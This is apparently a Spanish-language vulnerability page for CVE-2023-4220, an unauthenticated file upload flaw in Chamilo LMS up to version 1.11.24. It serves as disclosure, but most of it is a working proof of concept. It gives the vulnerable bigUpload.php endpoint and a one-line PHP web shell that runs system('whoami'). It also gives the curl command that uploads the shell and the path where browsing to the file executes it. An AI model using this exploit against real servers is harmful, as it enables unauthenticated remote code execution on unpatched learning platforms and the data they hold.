Chamilo-LMS-Carga-de-Archivos-No-Autenticada-

Carga de archivos sin restricciones en la funcionalidad de carga de archivos grandes en /main/inc/lib/javascript/bigupload/inc/bigUpload.php en Chamilo LMS <= v1.11.24 permite a atacantes no autenticados realizar ataques de cross-site scripting almacenado y obtener ejecución remota de código mediante la carga de una web shell.

Versión afectada ≤v1.11.24

Identificador CVE CVE-2023-4220

Resumen de la vulnerabilidad

La funcionalidad de carga de archivos grandes mediante /main/inc/lib/javascript/bigupload/inc/bigUpload.php permite cargar archivos arbitrarios al directorio /main/inc/lib/javascript/bigupload/files dentro de la raíz web.

Prueba de concepto

Si el directorio /main/inc/lib/javascript/bigupload/files existe, podemos cargar un archivo arbitrario como;
Crear un archivo php malicioso echo '<?php system("whoami"); ?>' > dollarboysushil.php

Luego podemos cargar este archivo ejecutando el siguiente comando

`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`

Untitled (1).png

Podemos verificar que nuestro archivo fue cargado visitando el directorio /main/inc/lib/javascript/bigupload/files
Y podemos ejecutarlo haciendo clic en el archivo php, lo que da la salida del comando whoami

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Más Populares

Acerca de